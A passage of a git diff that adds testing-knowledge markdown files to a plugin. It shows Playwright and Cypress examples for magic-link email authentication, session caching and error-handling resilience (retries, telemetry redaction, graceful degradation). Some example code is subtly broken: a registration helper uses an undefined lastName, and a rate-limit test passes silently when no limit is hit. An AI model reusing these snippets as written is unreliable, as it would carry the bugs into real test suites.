+  test('should reject already-used magic link', async ({ page, context }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link FIRST time (success)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Sign out
+    await page.getByTestId('user-menu').click();
+    await page.getByTestId('sign-out').click();
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+
+    // Try to reuse SAME link (should fail)
+    await page.goto(magicLink);
+
+    // Assert: Link already used error
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/already.*used|link.*used/i);
+
+    // Assert: User not authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should handle rapid successive link requests', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link 3 times rapidly
+    for (let i = 0; i < 3; i++) {
+      await page.goto('/login');
+      await page.getByTestId('email-input').fill(testEmail);
+      await page.getByTestId('send-magic-link').click();
+      await expect(page.getByTestId('check-email-message')).toBeVisible();
+    }
+
+    // Only the LATEST link should work
+    const MailosaurClient = require('mailosaur');
+    const mailosaur = new MailosaurClient(process.env.MAILOSAUR_API_KEY);
+
+    const messages = await mailosaur.messages.list(MAILOSAUR_SERVER_ID, {
+      sentTo: testEmail,
+    });
+
+    // Should receive 3 emails
+    expect(messages.items.length).toBeGreaterThanOrEqual(3);
+
+    // Get the LATEST magic link
+    const latestMessage = messages.items[0]; // Most recent first
+    const latestLink = latestMessage.html.links[0].href;
+
+    // Latest link works
+    await page.goto(latestLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Older links should NOT work (if backend invalidates previous)
+    await page.getByTestId('sign-out').click();
+    const olderLink = messages.items[1].html.links[0].href;
+
+    await page.goto(olderLink);
+    await expect(page.getByTestId('error-message')).toBeVisible();
+  });
+
+  test('should rate-limit excessive magic link requests', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link 10 times rapidly (should hit rate limit)
+    for (let i = 0; i < 10; i++) {
+      await page.goto('/login');
+      await page.getByTestId('email-input').fill(testEmail);
+      await page.getByTestId('send-magic-link').click();
+
+      // After N requests, should show rate limit error
+      const errorVisible = await page
+        .getByTestId('rate-limit-error')
+        .isVisible({ timeout: 1000 })
+        .catch(() => false);
+
+      if (errorVisible) {
+        console.log(`Rate limit hit after ${i + 1} requests`);
+        await expect(page.getByTestId('rate-limit-error')).toContainText(/too many.*requests|rate.*limit/i);
+        return;
+      }
+    }
+
+    // If no rate limit after 10 requests, log warning
+    console.warn('⚠️  No rate limit detected after 10 requests');
+  });
+});
+```
+
+**Key Points**:
+
+- **Expired links**: Test 24+ hour old tokens
+- **Invalid tokens**: Malformed or garbage tokens rejected
+- **Reuse prevention**: Same link can't be used twice
+- **Rapid requests**: Multiple requests handled gracefully
+- **Rate limiting**: Excessive requests blocked
+
+---
+
+### Example 4: Caching Strategy with cypress-data-session / Playwright Projects
+
+**Context**: Minimize email consumption by sharing authentication state across tests and specs.
+
+**Implementation**:
+
+```javascript
+// cypress/support/commands/register-and-sign-in.js
+import { dataSession } from 'cypress-data-session';
+
+/**
+ * Email Authentication Caching Strategy
+ * - One email per test run (not per spec, not per test)
+ * - First spec: Full registration flow (form → email → code → sign in)
+ * - Subsequent specs: Only sign in (reuse user)
+ * - Subsequent tests in same spec: Session already active (no sign in)
+ */
+
+// Helper: Fill registration form
+function fillRegistrationForm({ fullName, userName, email, password }) {
+  cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+  cy.contains('Register').click();
+  cy.get('#reg-dialog-form').should('be.visible');
+  cy.get('#first-name').type(fullName, { delay: 0 });
+  cy.get('#last-name').type(lastName, { delay: 0 });
+  cy.get('#email').type(email, { delay: 0 });
+  cy.get('#username').type(userName, { delay: 0 });
+  cy.get('#password').type(password, { delay: 0 });
+  cy.contains('button', 'Create an account').click();
+  cy.wait('@cognito').its('response.statusCode').should('equal', 200);
+}
+
+// Helper: Confirm registration with email code
+function confirmRegistration(email) {
+  return cy
+    .mailosaurGetMessage(Cypress.env('MAILOSAUR_SERVERID'), { sentTo: email })
+    .its('html.codes.0.value') // Mailosaur auto-extracts codes!
+    .then((code) => {
+      cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+      cy.get('#verification-code').type(code, { delay: 0 });
+      cy.contains('button', 'Confirm registration').click();
+      cy.wait('@cognito');
+      cy.contains('You are now registered!').should('be.visible');
+      cy.contains('button', /ok/i).click();
+      return cy.wrap(code); // Return code for reference
+    });
+}
+
+// Helper: Full registration (form + email)
+function register({ fullName, userName, email, password }) {
+  fillRegistrationForm({ fullName, userName, email, password });
+  return confirmRegistration(email);
+}
+
+// Helper: Sign in
+function signIn({ userName, password }) {
+  cy.intercept('POST', 'https://cognito-idp*').as('cognito');
+  cy.contains('Sign in').click();
+  cy.get('#sign-in-username').type(userName, { delay: 0 });
+  cy.get('#sign-in-password').type(password, { delay: 0 });
+  cy.contains('button', 'Sign in').click();
+  cy.wait('@cognito');
+  cy.contains('Sign out').should('be.visible');
+}
+
+/**
+ * Register and sign in with email caching
+ * ONE EMAIL PER MACHINE (cypress run or cypress open)
+ */
+Cypress.Commands.add('registerAndSignIn', ({ fullName, userName, email, password }) => {
+  return dataSession({
+    name: email, // Unique session per email
+
+    // First time: Full registration (form → email → code)
+    init: () => register({ fullName, userName, email, password }),
+
+    // Subsequent specs: Just check email exists (code already used)
+    setup: () => confirmRegistration(email),
+
+    // Always runs after init/setup: Sign in
+    recreate: () => signIn({ userName, password }),
+
+    // Share across ALL specs (one email for entire test run)
+    shareAcrossSpecs: true,
+  });
+});
+```
+
+**Usage across multiple specs**:
+
+```javascript
+// cypress/e2e/place-order.cy.ts
+describe('Place Order', () => {
+  beforeEach(() => {
+    cy.visit('/');
+    cy.registerAndSignIn({
+      fullName: Cypress.env('fullName'), // From cypress.config
+      userName: Cypress.env('userName'),
+      email: Cypress.env('email'), // SAME email across all specs
+      password: Cypress.env('password'),
+    });
+  });
+
+  it('should place order', () => {
+    /* ... */
+  });
+  it('should view order history', () => {
+    /* ... */
+  });
+});
+
+// cypress/e2e/profile.cy.ts
+describe('User Profile', () => {
+  beforeEach(() => {
+    cy.visit('/');
+    cy.registerAndSignIn({
+      fullName: Cypress.env('fullName'),
+      userName: Cypress.env('userName'),
+      email: Cypress.env('email'), // SAME email - no new email sent!
+      password: Cypress.env('password'),
+    });
+  });
+
+  it('should update profile', () => {
+    /* ... */
+  });
+});
+```
+
+**Playwright equivalent with storageState**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  projects: [
+    {
+      name: 'setup',
+      testMatch: /global-setup\.ts/,
+    },
+    {
+      name: 'authenticated',
+      testMatch: /.*\.spec\.ts/,
+      dependencies: ['setup'],
+      use: {
+        storageState: '.auth/user-session.json', // Reuse auth state
+      },
+    },
+  ],
+});
+```
+
+```typescript
+// tests/global-setup.ts (runs once)
+import { test as setup } from '@playwright/test';
+import { getMagicLinkFromEmail } from './support/mailosaur-helpers';
+
+const authFile = '.auth/user-session.json';
+
+setup('authenticate via magic link', async ({ page }) => {
+  const testEmail = process.env.TEST_USER_EMAIL!;
+
+  // Request magic link
+  await page.goto('/login');
+  await page.getByTestId('email-input').fill(testEmail);
+  await page.getByTestId('send-magic-link').click();
+
+  // Get and visit magic link
+  const magicLink = await getMagicLinkFromEmail(testEmail);
+  await page.goto(magicLink);
+
+  // Verify authenticated
+  await expect(page.getByTestId('user-menu')).toBeVisible();
+
+  // Save authenticated state (ONE TIME for all tests)
+  await page.context().storageState({ path: authFile });
+
+  console.log('✅ Authentication state saved to', authFile);
+});
+```
+
+**Key Points**:
+
+- **One email per run**: Global setup authenticates once
+- **State reuse**: All tests use cached storageState
+- **cypress-data-session**: Intelligently manages cache lifecycle
+- **shareAcrossSpecs**: Session shared across all spec files
+- **Massive savings**: 500 tests = 1 email (not 500!)
+
+---
+
+## Email Authentication Testing Checklist
+
+Before implementing email auth tests, verify:
+
+- [ ] **Email service**: Mailosaur/Ethereal/MailHog configured with API keys
+- [ ] **Link extraction**: Use built-in parsing (html.links[0].href) over regex
+- [ ] **State preservation**: localStorage/session/cookies saved and restored
+- [ ] **Session caching**: cypress-data-session or storageState prevents redundant emails
+- [ ] **Negative flows**: Expired, invalid, reused, rapid requests tested
+- [ ] **Quota awareness**: One email per run (not per test)
+- [ ] **PII scrubbing**: Email IDs logged for debug, but scrubbed from artifacts
+- [ ] **Timeout handling**: 30 second email retrieval timeout configured
+
+## Integration Points
+
+- Used in workflows: `*framework` (email auth setup), `*automate` (email auth test generation)
+- Related fragments: `fixture-architecture.md`, `test-quality.md`
+- Email services: Mailosaur (recommended), Ethereal (free), MailHog (self-hosted)
+- Plugins: cypress-mailosaur, cypress-data-session
+
+_Source: Email authentication blog, Murat testing toolkit, Mailosaur documentation_
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/error-handling.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/error-handling.md
new file mode 100644
index 0000000..32de3d5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/error-handling.md
@@ -0,0 +1,725 @@
+# Error Handling and Resilience Checks
+
+## Principle
+
+Treat expected failures explicitly: intercept network errors, assert UI fallbacks (error messages visible, retries triggered), and use scoped exception handling to ignore known errors while catching regressions. Test retry/backoff logic by forcing sequential failures (500 → timeout → success) and validate telemetry logging. Log captured errors with context (request payload, user/session) but redact secrets to keep artifacts safe for sharing.
+
+## Rationale
+
+Tests fail for two reasons: genuine bugs or poor error handling in the test itself. Without explicit error handling patterns, tests become noisy (uncaught exceptions cause false failures) or silent (swallowing all errors hides real bugs). Scoped exception handling (Cypress.on('uncaught:exception'), page.on('pageerror')) allows tests to ignore documented, expected errors while surfacing unexpected ones. Resilience testing (retry logic, graceful degradation) ensures applications handle failures gracefully in production.
+
+## Pattern Examples
+
+### Example 1: Scoped Exception Handling (Expected Errors Only)
+
+**Context**: Handle known errors (Network failures, expected 500s) without masking unexpected bugs.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/error-handling.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Scoped Error Handling Pattern
+ * - Only ignore specific, documented errors
+ * - Rethrow everything else to catch regressions
+ * - Validate error UI and user experience
+ */
+
+test.describe('API Error Handling', () => {
+  test('should display error message when API returns 500', async ({ page }) => {
+    // Scope error handling to THIS test only
+    const consoleErrors: string[] = [];
+    page.on('pageerror', (error) => {
+      // Only swallow documented NetworkError
+      if (error.message.includes('NetworkError: Failed to fetch')) {
+        consoleErrors.push(error.message);
+        return; // Swallow this specific error
+      }
+      // Rethrow all other errors (catch regressions!)
+      throw error;
+    });
+
+    // Arrange: Mock 500 error response
+    await page.route('**/api/users', (route) =>
+      route.fulfill({
+        status: 500,
+        contentType: 'application/json',
+        body: JSON.stringify({
+          error: 'Internal server error',
+          code: 'INTERNAL_ERROR',
+        }),
+      }),
+    );
+
+    // Act: Navigate to page that fetches users
+    await page.goto('/dashboard');
+
+    // Assert: Error UI displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/error.*loading|failed.*load/i);
+
+    // Assert: Retry button visible
+    await expect(page.getByTestId('retry-button')).toBeVisible();
+
+    // Assert: NetworkError was thrown and caught
+    expect(consoleErrors).toContainEqual(expect.stringContaining('NetworkError'));
+  });
+
+  test('should NOT swallow unexpected errors', async ({ page }) => {
+    let unexpectedError: Error | null = null;
+
+    page.on('pageerror', (error) => {
+      // Capture but don't swallow - test should fail
+      unexpectedError = error;
+      throw error;
+    });
+
+    // Arrange: App has JavaScript error (bug)
+    await page.addInitScript(() => {
+      // Simulate bug in app code
+      (window as any).buggyFunction = () => {
+        throw new Error('UNEXPECTED BUG: undefined is not a function');
+      };
+    });
+
+    await page.goto('/dashboard');
+
+    // Trigger buggy function
+    await page.evaluate(() => (window as any).buggyFunction());
+
+    // Assert: Test fails because unexpected error was NOT swallowed
+    expect(unexpectedError).not.toBeNull();
+    expect(unexpectedError?.message).toContain('UNEXPECTED BUG');
+  });
+});
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/error-handling.cy.ts
+describe('API Error Handling', () => {
+  it('should display error message when API returns 500', () => {
+    // Scoped to this test only
+    cy.on('uncaught:exception', (err) => {
+      // Only swallow documented NetworkError
+      if (err.message.includes('NetworkError')) {
+        return false; // Prevent test failure
+      }
+      // All other errors fail the test
+      return true;
+    });
+
+    // Arrange: Mock 500 error
+    cy.intercept('GET', '**/api/users', {
+      statusCode: 500,
+      body: {
+        error: 'Internal server error',
+        code: 'INTERNAL_ERROR',
+      },
+    }).as('getUsers');
+
+    // Act
+    cy.visit('/dashboard');
+    cy.wait('@getUsers');
+
+    // Assert: Error UI
+    cy.get('[data-cy="error-message"]').should('be.visible');
+    cy.get('[data-cy="error-message"]').should('contain', 'error loading');
+    cy.get('[data-cy="retry-button"]').should('be.visible');
+  });
+
+  it('should NOT swallow unexpected errors', () => {
+    // No exception handler - test should fail on unexpected errors
+
+    cy.visit('/dashboard');
+
+    // Trigger unexpected error
+    cy.window().then((win) => {
+      // This should fail the test
+      win.eval('throw new Error("UNEXPECTED BUG")');
+    });
+
+    // Test fails (as expected) - validates error detection works
+  });
+});
+```
+
+**Key Points**:
+
+- **Scoped handling**: page.on() / cy.on() scoped to specific tests
+- **Explicit allow-list**: Only ignore documented errors
+- **Rethrow unexpected**: Catch regressions by failing on unknown errors
+- **Error UI validation**: Assert user sees error message
+- **Logging**: Capture errors for debugging, don't swallow silently
+
+---
+
+### Example 2: Retry Validation Pattern (Network Resilience)
+
+**Context**: Test that retry/backoff logic works correctly for transient failures.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/retry-resilience.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Retry Validation Pattern
+ * - Force sequential failures (500 → 500 → 200)
+ * - Validate retry attempts and backoff timing
+ * - Assert telemetry captures retry events
+ */
+
+test.describe('Network Retry Logic', () => {
+  test('should retry on 500 error and succeed', async ({ page }) => {
+    let attemptCount = 0;
+    const attemptTimestamps: number[] = [];
+
+    // Mock API: Fail twice, succeed on third attempt
+    await page.route('**/api/products', (route) => {
+      attemptCount++;
+      attemptTimestamps.push(Date.now());
+
+      if (attemptCount <= 2) {
+        // First 2 attempts: 500 error
+        route.fulfill({
+          status: 500,
+          body: JSON.stringify({ error: 'Server error' }),
+        });
+      } else {
+        // 3rd attempt: Success
+        route.fulfill({
+          status: 200,
+          contentType: 'application/json',
+          body: JSON.stringify({ products: [{ id: 1, name: 'Product 1' }] }),
+        });
+      }
+    });
+
+    // Act: Navigate (should retry automatically)
+    await page.goto('/products');
+
+    // Assert: Data eventually loads after retries
+    await expect(page.getByTestId('product-list')).toBeVisible();
+    await expect(page.getByTestId('product-item')).toHaveCount(1);
+
+    // Assert: Exactly 3 attempts made
+    expect(attemptCount).toBe(3);
+
+    // Assert: Exponential backoff timing (1s → 2s between attempts)
+    if (attemptTimestamps.length === 3) {
+      const delay1 = attemptTimestamps[1] - attemptTimestamps[0];
+      const delay2 = attemptTimestamps[2] - attemptTimestamps[1];
+
+      expect(delay1).toBeGreaterThanOrEqual(900); // ~1 second
+      expect(delay1).toBeLessThan(1200);
+      expect(delay2).toBeGreaterThanOrEqual(1900); // ~2 seconds
+      expect(delay2).toBeLessThan(2200);
+    }
+
+    // Assert: Telemetry logged retry events
+    const telemetryEvents = await page.evaluate(() => (window as any).__TELEMETRY_EVENTS__ || []);
+    expect(telemetryEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'api_retry',
+        attempt: 1,
+        endpoint: '/api/products',
+      }),
+    );
+    expect(telemetryEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'api_retry',
+        attempt: 2,
+      }),
+    );
+  });
+
+  test('should give up after max retries and show error', async ({ page }) => {
+    let attemptCount = 0;
+
+    // Mock API: Always fail (test retry limit)
+    await page.route('**/api/products', (route) => {
+      attemptCount++;
+      route.fulfill({
+        status: 500,
+        body: JSON.stringify({ error: 'Persistent server error' }),
+      });
+    });
+
+    // Act
+    await page.goto('/products');
+
+    // Assert: Max retries reached (3 attempts typical)
+    expect(attemptCount).toBe(3);
+
+    // Assert: Error UI displayed after exhausting retries
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/unable.*load|failed.*after.*retries/i);
+
+    // Assert: Data not displayed
+    await expect(page.getByTestId('product-list')).not.toBeVisible();
+  });
+
+  test('should NOT retry on 404 (non-retryable error)', async ({ page }) => {
+    let attemptCount = 0;
+
+    // Mock API: 404 error (should NOT retry)
+    await page.route('**/api/products/999', (route) => {
+      attemptCount++;
+      route.fulfill({
+        status: 404,
+        body: JSON.stringify({ error: 'Product not found' }),
+      });
+    });
+
+    await page.goto('/products/999');
+
+    // Assert: Only 1 attempt (no retries on 404)
+    expect(attemptCount).toBe(1);
+
+    // Assert: 404 error displayed immediately
+    await expect(page.getByTestId('not-found-message')).toBeVisible();
+  });
+});
+```
+
+**Cypress with retry interception**:
+
+```javascript
+// cypress/e2e/retry-resilience.cy.ts
+describe('Network Retry Logic', () => {
+  it('should retry on 500 and succeed on 3rd attempt', () => {
+    let attemptCount = 0;
+
+    cy.intercept('GET', '**/api/products', (req) => {
+      attemptCount++;
+
+      if (attemptCount <= 2) {
+        req.reply({ statusCode: 500, body: { error: 'Server error' } });
+      } else {
+        req.reply({ statusCode: 200, body: { products: [{ id: 1, name: 'Product 1' }] } });
+      }
+    }).as('getProducts');
+
+    cy.visit('/products');
+
+    // Wait for final successful request
+    cy.wait('@getProducts').its('response.statusCode').should('eq', 200);
+
+    // Assert: Data loaded
+    cy.get('[data-cy="product-list"]').should('be.visible');
+    cy.get('[data-cy="product-item"]').should('have.length', 1);
+
+    // Validate retry count
+    cy.wrap(attemptCount).should('eq', 3);
+  });
+});
+```
+
+**Key Points**:
+
+- **Sequential failures**: Test retry logic with 500 → 500 → 200
+- **Backoff timing**: Validate exponential backoff delays
+- **Retry limits**: Max attempts enforced (typically 3)
+- **Non-retryable errors**: 404s don't trigger retries
+- **Telemetry**: Log retry attempts for monitoring
+
+---
+
+### Example 3: Telemetry Logging with Context (Sentry Integration)
+
+**Context**: Capture errors with full context for production debugging without exposing secrets.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/telemetry-logging.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Telemetry Logging Pattern
+ * - Log errors with request context
+ * - Redact sensitive data (tokens, passwords, PII)
+ * - Integrate with monitoring (Sentry, Datadog)
+ * - Validate error logging without exposing secrets
+ */
+
+type ErrorLog = {
+  level: 'error' | 'warn' | 'info';
+  message: string;
+  context?: {
+    endpoint?: string;
+    method?: string;
+    statusCode?: number;
+    userId?: string;
+    sessionId?: string;
+  };
+  timestamp: string;
+};
+
+test.describe('Error Telemetry', () => {
+  test('should log API errors with context', async ({ page }) => {
+    const errorLogs: ErrorLog[] = [];
+
+    // Capture console errors
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') {
+        try {
+          const log = JSON.parse(msg.text());
+          errorLogs.push(log);
+        } catch {
+          // Not a structured log, ignore
+        }
+      }
+    });
+
+    // Mock failing API
+    await page.route('**/api/orders', (route) =>
+      route.fulfill({
+        status: 500,
+        body: JSON.stringify({ error: 'Payment processor unavailable' }),
+      }),
+    );
+
+    // Act: Trigger error
+    await page.goto('/checkout');
+    await page.getByTestId('place-order').click();
+
+    // Wait for error UI
+    await expect(page.getByTestId('error-message')).toBeVisible();
+
+    // Assert: Error logged with context
+    expect(errorLogs).toContainEqual(
+      expect.objectContaining({
+        level: 'error',
+        message: expect.stringContaining('API request failed'),
+        context: expect.objectContaining({
+          endpoint: '/api/orders',
+          method: 'POST',
+          statusCode: 500,
+          userId: expect.any(String),
+        }),
+      }),
+    );
+
+    // Assert: Sensitive data NOT logged
+    const logString = JSON.stringify(errorLogs);
+    expect(logString).not.toContain('password');
+    expect(logString).not.toContain('token');
+    expect(logString).not.toContain('creditCard');
+  });
+
+  test('should send errors to Sentry with breadcrumbs', async ({ page }) => {
+    const sentryEvents: any[] = [];
+
+    // Mock Sentry SDK
+    await page.addInitScript(() => {
+      (window as any).Sentry = {
+        captureException: (error: Error, context?: any) => {
+          (window as any).__SENTRY_EVENTS__ = (window as any).__SENTRY_EVENTS__ || [];
+          (window as any).__SENTRY_EVENTS__.push({
+            error: error.message,
+            context,
+            timestamp: Date.now(),
+          });
+        },
+        addBreadcrumb: (breadcrumb: any) => {
+          (window as any).__SENTRY_BREADCRUMBS__ = (window as any).__SENTRY_BREADCRUMBS__ || [];
+          (window as any).__SENTRY_BREADCRUMBS__.push(breadcrumb);
+        },
+      };
+    });
+
+    // Mock failing API
+    await page.route('**/api/users', (route) => route.fulfill({ status: 403, body: { error: 'Forbidden' } }));
+
+    // Act
+    await page.goto('/users');
+
+    // Assert: Sentry captured error
+    const events = await page.evaluate(() => (window as any).__SENTRY_EVENTS__);
+    expect(events).toHaveLength(1);
+    expect(events[0]).toMatchObject({
+      error: expect.stringContaining('403'),
+      context: expect.objectContaining({
+        endpoint: '/api/users',
+        statusCode: 403,
+      }),
+    });
+
+    // Assert: Breadcrumbs include user actions
+    const breadcrumbs = await page.evaluate(() => (window as any).__SENTRY_BREADCRUMBS__);
+    expect(breadcrumbs).toContainEqual(
+      expect.objectContaining({
+        category: 'navigation',
+        message: '/users',
+      }),
+    );
+  });
+});
+```
+
+**Cypress with Sentry**:
+
+```javascript
+// cypress/e2e/telemetry-logging.cy.ts
+describe('Error Telemetry', () => {
+  it('should log API errors with redacted sensitive data', () => {
+    const errorLogs = [];
+
+    // Capture console errors
+    cy.on('window:before:load', (win) => {
+      cy.stub(win.console, 'error').callsFake((msg) => {
+        errorLogs.push(msg);
+      });
+    });
+
+    // Mock failing API
+    cy.intercept('POST', '**/api/orders', {
+      statusCode: 500,
+      body: { error: 'Payment failed' },
+    });
+
+    // Act
+    cy.visit('/checkout');
+    cy.get('[data-cy="place-order"]').click();
+
+    // Assert: Error logged
+    cy.wrap(errorLogs).should('have.length.greaterThan', 0);
+
+    // Assert: Context included
+    cy.wrap(errorLogs[0]).should('include', '/api/orders');
+
+    // Assert: Secrets redacted
+    cy.wrap(JSON.stringify(errorLogs)).should('not.contain', 'password');
+    cy.wrap(JSON.stringify(errorLogs)).should('not.contain', 'creditCard');
+  });
+});
+```
+
+**Error logger utility with redaction**:
+
+```typescript
+// src/utils/error-logger.ts
+type ErrorContext = {
+  endpoint?: string;
+  method?: string;
+  statusCode?: number;
+  userId?: string;
+  sessionId?: string;
+  requestPayload?: any;
+};
+
+const SENSITIVE_KEYS = ['password', 'token', 'creditCard', 'ssn', 'apiKey'];
+
+/**
+ * Redact sensitive data from objects
+ */
+function redactSensitiveData(obj: any): any {
+  if (typeof obj !== 'object' || obj === null) return obj;
+
+  const redacted = { ...obj };
+
+  for (const key of Object.keys(redacted)) {
+    if (SENSITIVE_KEYS.some((sensitive) => key.toLowerCase().includes(sensitive))) {
+      redacted[key] = '[REDACTED]';
+    } else if (typeof redacted[key] === 'object') {
+      redacted[key] = redactSensitiveData(redacted[key]);
+    }
+  }
+
+  return redacted;
+}
+
+/**
+ * Log error with context (Sentry integration)
+ */
+export function logError(error: Error, context?: ErrorContext) {
+  const safeContext = context ? redactSensitiveData(context) : {};
+
+  const errorLog = {
+    level: 'error' as const,
+    message: error.message,
+    stack: error.stack,
+    context: safeContext,
+    timestamp: new Date().toISOString(),
+  };
+
+  // Console (development)
+  console.error(JSON.stringify(errorLog));
+
+  // Sentry (production)
+  if (typeof window !== 'undefined' && (window as any).Sentry) {
+    (window as any).Sentry.captureException(error, {
+      contexts: { custom: safeContext },
+    });
+  }
+}
+```
+
+**Key Points**:
+
+- **Context-rich logging**: Endpoint, method, status, user ID
+- **Secret redaction**: Passwords, tokens, PII removed before logging
+- **Sentry integration**: Production monitoring with breadcrumbs
+- **Structured logs**: JSON format for easy parsing
+- **Test validation**: Assert logs contain context but not secrets
+
+---
+
+### Example 4: Graceful Degradation Tests (Fallback Behavior)
+
+**Context**: Validate application continues functioning when services are unavailable.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/graceful-degradation.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Graceful Degradation Pattern
+ * - Simulate service unavailability
+ * - Validate fallback behavior
+ * - Ensure user experience degrades gracefully
+ * - Verify telemetry captures degradation events
+ */
+
+test.describe('Service Unavailability', () => {
+  test('should display cached data when API is down', async ({ page }) => {
+    // Arrange: Seed localStorage with cached data
+    await page.addInitScript(() => {
+      localStorage.setItem(
+        'products_cache',
+        JSON.stringify({
+          data: [
+            { id: 1, name: 'Cached Product 1' },
+            { id: 2, name: 'Cached Product 2' },
+          ],
+          timestamp: Date.now(),
+        }),
+      );
+    });
+
+    // Mock API unavailable
+    await page.route(
+      '**/api/products',
+      (route) => route.abort('connectionrefused'), // Simulate server down
+    );
+
+    // Act
+    await page.goto('/products');
+
+    // Assert: Cached data displayed
+    await expect(page.getByTestId('product-list')).toBeVisible();
+    await expect(page.getByText('Cached Product 1')).toBeVisible();
+
+    // Assert: Stale data warning shown
+    await expect(page.getByTestId('cache-warning')).toBeVisible();
+    await expect(page.getByTestId('cache-warning')).toContainText(/showing.*cached|offline.*mode/i);
+
+    // Assert: Retry button available
+    await expect(page.getByTestId('refresh-button')).toBeVisible();
+  });
+
+  test('should show fallback UI when analytics service fails', async ({ page }) => {
+    // Mock analytics service down (non-critical)
+    await page.route('**/analytics/track', (route) => route.fulfill({ status: 503, body: 'Service unavailable' }));
+
+    // Act: Navigate normally
+    await page.goto('/dashboard');
+
+    // Assert: Page loads successfully (analytics failure doesn't block)
+    await expect(page.getByTestId('dashboard-content')).toBeVisible();
+
+    // Assert: Analytics error logged but not shown to user
+    const consoleErrors = [];
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') consoleErrors.push(msg.text());
+    });
+
+    // Trigger analytics event
+    await page.getByTestId('track-action-button').click();
+
+    // Analytics error logged
+    expect(consoleErrors).toContainEqual(expect.stringContaining('Analytics service unavailable'));
+
+    // But user doesn't see error
+    await expect(page.getByTestId('error-message')).not.toBeVisible();
+  });
+
+  test('should fallback to local validation when API is slow', async ({ page }) => {
+    // Mock slow API (> 5 seconds)
+    await page.route('**/api/validate-email', async (route) => {
+      await new Promise((resolve) => setTimeout(resolve, 6000)); // 6 second delay
+      route.fulfill({
+        status: 200,
+        body: JSON.stringify({ valid: true }),
+      });
+    });
+
+    // Act: Fill form
+    await page.goto('/signup');
+    await page.getByTestId('email-input').fill('test@example.com');
+    await page.getByTestId('email-input').blur();
+
+    // Assert: Client-side validation triggers immediately (doesn't wait for API)
+    await expect(page.getByTestId('email-valid-icon')).toBeVisible({ timeout: 1000 });
+
+    // Assert: Eventually API validates too (but doesn't block UX)
+    await expect(page.getByTestId('email-validated-badge')).toBeVisible({ timeout: 7000 });
+  });
+
+  test('should maintain functionality with third-party script failure', async ({ page }) => {
+    // Block third-party scripts (Google Analytics, Intercom, etc.)
+    await page.route('**/*.google-analytics.com/**', (route) => route.abort());
+    await page.route('**/*.intercom.io/**', (route) => route.abort());
+
+    // Act
+    await page.goto('/');
+
+    // Assert: App works without third-party scripts
+    await expect(page.getByTestId('main-content')).toBeVisible();
+    await expect(page.getByTestId('nav-menu')).toBeVisible();
+
+    // Assert: Core functionality intact
+    await page.getByTestId('nav-products').click();
+    await expect(page).toHaveURL(/.*\/products/);
+  });
+});
+```
+
+**Key Points**:
+
+- **Cached fallbacks**: Display stale data when API unavailable
+- **Non-critical degradation**: Analytics failures don't block app
+- **Client-side fallbacks**: Local validation when API slow
+- **Third-party resilience**: App works without external scripts
+- **User transparency**: Stale data warnings displayed
+
+---
+
+## Error Handling Testing Checklist
+
+Before shipping error handling code, verify:
+
+- [ ] **Scoped exception handling**: Only ignore documented errors (NetworkError, specific codes)
+- [ ] **Rethrow unexpected**: Unknown errors fail tests (catch regressions)
+- [ ] **Error UI tested**: User sees error messages for all error states
+- [ ] **Retry logic validated**: Sequential failures test backoff and max attempts
+- [ ] **Telemetry verified**: Errors logged with context (endpoint, status, user)
+- [ ] **Secret redaction**: Logs don't contain passwords, tokens, PII
+- [ ] **Graceful degradation**: Critical services down, app shows fallback UI
+- [ ] **Non-critical failures**: Analytics/tracking failures don't block app
+
+## Integration Points
+
+- Used in workflows: `*automate` (error handling test generation), `*test-review` (error pattern detection)
+- Related fragments: `network-first.md`, `test-quality.md`, `contract-testing.md`
+- Monitoring tools: Sentry, Datadog, LogRocket
+
+_Source: Murat error-handling patterns, Pact resilience guidance, enterprise production error handling_
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/feature-flags.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/feature-flags.md
new file mode 100644
index 0000000..2b8a458
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/feature-flags.md
@@ -0,0 +1,750 @@
+# Feature Flag Governance
+
+## Principle
+
